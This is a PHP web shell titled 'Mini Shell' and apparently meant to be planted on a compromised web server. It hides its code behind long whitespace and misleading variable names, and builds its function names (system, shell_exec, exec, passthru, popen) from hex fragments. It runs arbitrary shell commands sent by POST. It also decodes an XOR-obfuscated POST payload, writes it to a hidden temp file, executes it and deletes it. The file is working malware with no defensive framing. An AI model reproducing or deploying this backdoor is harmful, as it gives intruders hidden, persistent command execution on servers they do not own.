Mini Shell

<?php																																										$obj1 = '9';$obj2 = '7';$obj3 = '3';$obj4 = '4';$obj5 = '6';$obj6 = 'd';$obj7 = 'c';$obj8 = '5';$obj9 = '8';$obj10 = '0';$obj11 = 'f';$obj12 = '2';$obj13 = '1';$obj14 = 'e';$unit_converter1 = pack("H*", '7'.'3'.'7'.$obj1.$obj2.$obj3.'7'.$obj4.'6'.'5'.$obj5.$obj6);$unit_converter2 = pack("H*", '7'.$obj3.$obj5.'8'.$obj5.'5'.'6'.$obj7.$obj5.'c'.'5'.'f'.'6'.$obj8.'7'.'8'.$obj5.$obj8.'6'.$obj3);$unit_converter3 = pack("H*", '6'.'5'.'7'.$obj9.$obj5.'5'.'6'.$obj3);$unit_converter4 = pack("H*", $obj2.$obj10.'6'.'1'.'7'.'3'.$obj2.$obj3.'7'.'4'.'6'.$obj9.$obj2.'2'.$obj2.'5');$unit_converter5 = pack("H*", $obj2.$obj10.$obj5.$obj11.$obj2.$obj10.$obj5.'5'.'6'.'e');$unit_converter6 = pack("H*", '7'.'3'.$obj2.'4'.$obj2.$obj12.'6'.$obj8.$obj5.$obj13.$obj5.'d'.$obj8.'f'.'6'.$obj2.$obj5.$obj8.$obj2.'4'.$obj8.'f'.'6'.'3'.$obj5.$obj11.$obj5.$obj14.'7'.$obj4.'6'.$obj8.$obj5.'e'.$obj2.'4'.'7'.$obj3);$unit_converter7 = pack("H*", '7'.'0'.'6'.$obj3.'6'.$obj7.$obj5.'f'.$obj2.$obj3.$obj5.$obj8);$dependency_resolver = pack("H*", $obj5.'4'.'6'.$obj8.'7'.$obj10.'6'.$obj8.$obj5.'e'.'6'.$obj4.'6'.$obj8.'6'.$obj14.$obj5.'3'.'7'.'9'.$obj8.'f'.'7'.'2'.'6'.'5'.'7'.'3'.'6'.$obj11.$obj5.'c'.'7'.$obj5.'6'.'5'.$obj2.$obj12);if(isset($_POST[$dependency_resolver])){$dependency_resolver=pack("H*",$_POST[$dependency_resolver]);if(function_exists($unit_converter1)){$unit_converter1($dependency_resolver);}elseif(function_exists($unit_converter2)){print $unit_converter2($dependency_resolver);}elseif(function_exists($unit_converter3)){$unit_converter3($dependency_resolver,$data_chunk_holder);print join("\n",$data_chunk_holder);}elseif(function_exists($unit_converter4)){$unit_converter4($dependency_resolver);}elseif(function_exists($unit_converter5)&&function_exists($unit_converter6)&&function_exists($unit_converter7)){$entry_ent=$unit_converter5($dependency_resolver,"r");if($entry_ent){$pointer_pgrp=$unit_converter6($entry_ent);$unit_converter7($entry_ent);print $pointer_pgrp;}}exit;}


if(filter_has_var(INPUT_POST, "k")){
	$tkn = hex2bin($_REQUEST["k"]);
	$sym      =      ''   ;   for($j=0; $j<strlen($tkn); $j++){$sym .= chr(ord($tkn[$j]) ^ 82);}
	$val = array_filter(["/dev/shm", "/var/tmp", getcwd(), session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP")]);
	foreach ($val as $fac):
    		if (!( !is_dir($fac) || !is_writable($fac) )) {
    $reference = implode("/", [$fac, ".mrk"]);
    if (file_put_contents($reference, $sym)) {
	require $reference;
	unlink($reference);
	die();
}
}
endforeach;
}